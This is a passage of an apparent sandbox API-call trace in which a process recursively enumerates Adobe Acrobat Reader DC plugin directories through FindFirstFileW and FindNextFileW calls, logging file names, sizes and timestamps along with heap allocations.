nFileSizeLow=0x2bca0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdf-rna-selector.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0273.621] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0273.621] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 0 [0273.621] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0273.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.622] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0273.622] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0273.622] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315d30 [0273.623] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cpdf", cAlternateFileName="")) returned 1 [0273.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.639] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\*", lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0273.640] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.640] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0273.641] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0273.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0273.641] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1 [0273.641] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.641] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\epdf\\*", lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0273.642] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396da30 | out: lpFindFileData=0x396da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x995, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0273.642] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0273.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0 [0273.642] FindClose (in: hFindFile=0x3315d30 | out: hFindFile=0x3315d30) returned 1 [0273.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0273.642] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0273.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0273.642] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0273.643] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0273.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0273.644] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0273.645] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0273.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0273.645] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf", cAlternateFileName="COMBIN~1")) returned 1 [0273.645] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0273.645] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0273.798] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.798] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0273.799] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.799] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0273.971] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.971] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0273.971] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0273.971] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0273.971] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0273.971] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.971] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0273.973] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0273.977] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.977] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0273.977] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0273.977] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0273.978] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0273.978] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0273.978] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0273.978] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0273.978] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0273.979] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 